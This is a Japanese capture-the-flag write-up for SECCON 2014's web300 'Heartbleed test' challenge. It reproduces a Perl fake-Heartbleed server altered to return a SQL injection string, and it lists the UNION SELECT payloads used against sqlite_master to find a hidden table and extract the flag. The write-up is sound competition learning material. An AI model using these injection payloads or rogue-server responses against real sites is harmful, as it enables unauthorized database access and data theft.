SECCON2014 オンライン予選(en) web300 Bleeding "Heartbleed" Test Web

HeartBleedの脆弱性を持つサイトをテストする画面。
とりあえず、HeartBleedの脆弱性を持つVMを用意する。

実際実行してみたところ、特にリクエストにフラグ等はない。
(リクエストのパディングにフラグ埋め込むのだろうと思っていたので調子はずれ)

なんどうか実行していたら、偶然SQLエラーが発生した。
そこでこれがSQLi問題なのだと知る。

で、HeartBleedで抜き出されるメモリ内容の代わりに、任意の文字列を返すため、ハニーポットを用意。

#!/usr/bin/perl

# hb_honeypot.pl -- a quick 'n dirty honeypot hack for Heartbleed
#
# This Perl script listens on TCP port 443 and responds with completely bogus
# SSL heartbeat responses, unless it detects the start of a byte pattern
# similar to that used in Jared Stafford's (jspenguin@jspenguin.org) demo for
# CVE-2014-0160 'Heartbleed'.
#
# Run as root for the privileged port. Outputs IPs of suspected heartbleed scan
# to the console. Rickrolls scanner in the hex dump.
#
# 8 April 2014
# http://www.glitchwrks.com/
# shouts to binrev

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET (
LocalPort => '443',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);

die "Could not create socket!" unless $sock;

# The "done" bit of the handshake response
my $done = pack ("H*", '16030100010E');

# Your message here
#my $taunt = "09809*)(*)(76&^%&(*&^7657332 Hi there! Your scan has been logged! Have no fear, this is for research only -- We're never gonna give you up, never gonna let you down!";
my $taunt = "09809*)(*)(76&^%&(*&^7657332 'union select flag from ssFLGss; ";
my $troll = pack ("H*", ('180301' . sprintf( "%04x", length($taunt))));

# main "barf responses into the socket" loop
while (my $client = $sock->accept()) {
$client->autoflush(1);

my $found = 0;

# read things that look like lines, puke nonsense heartbeat responses until
# a line that looks like it's from the PoC shows up
while (<$client>) {
my $line = unpack("H*", $_);

if ($line =~ /^0034.*/) {
print $client $done;
$found = 1;
} else {
print $client $troll;
print $client $taunt;
}

if ($found == 1) {
print $client $troll;
print $client $taunt;
print $client->peerhost . "\n";
$found = 0;
}
}
}

close($sock);

そこに以下の順で攻撃コードを書いた。

まずはテーブルスキーマの把握。
エラー文から、実行されているSQLは

select time from results where result='Co...

だとわかったので、union selectで色々表示させてみる。

テーブル名をまず見てみる

' union select name from sqlite_master;

1回目では results というテーブル名が出てきてハズレっぽかったので

' union select name from sqlite_master where name!='results';

と、次のテーブル名を表示。
すると ssFLGss というテーブル名がでた。

テーブル構造を把握するため

' union select sql from sqlite_master name='ssFLGss';

すると flag ってフィールドがあるとわかったので、
最後のコード

'union select flag from ssFLGss;

を実行。

フラグ取得。


ちなみに今回外部アクセス可能なサーバはCloudnを使用して立ち上げました。
詳しいメンバーがいたとはいえ、一瞬で環境構築まで出来て驚き。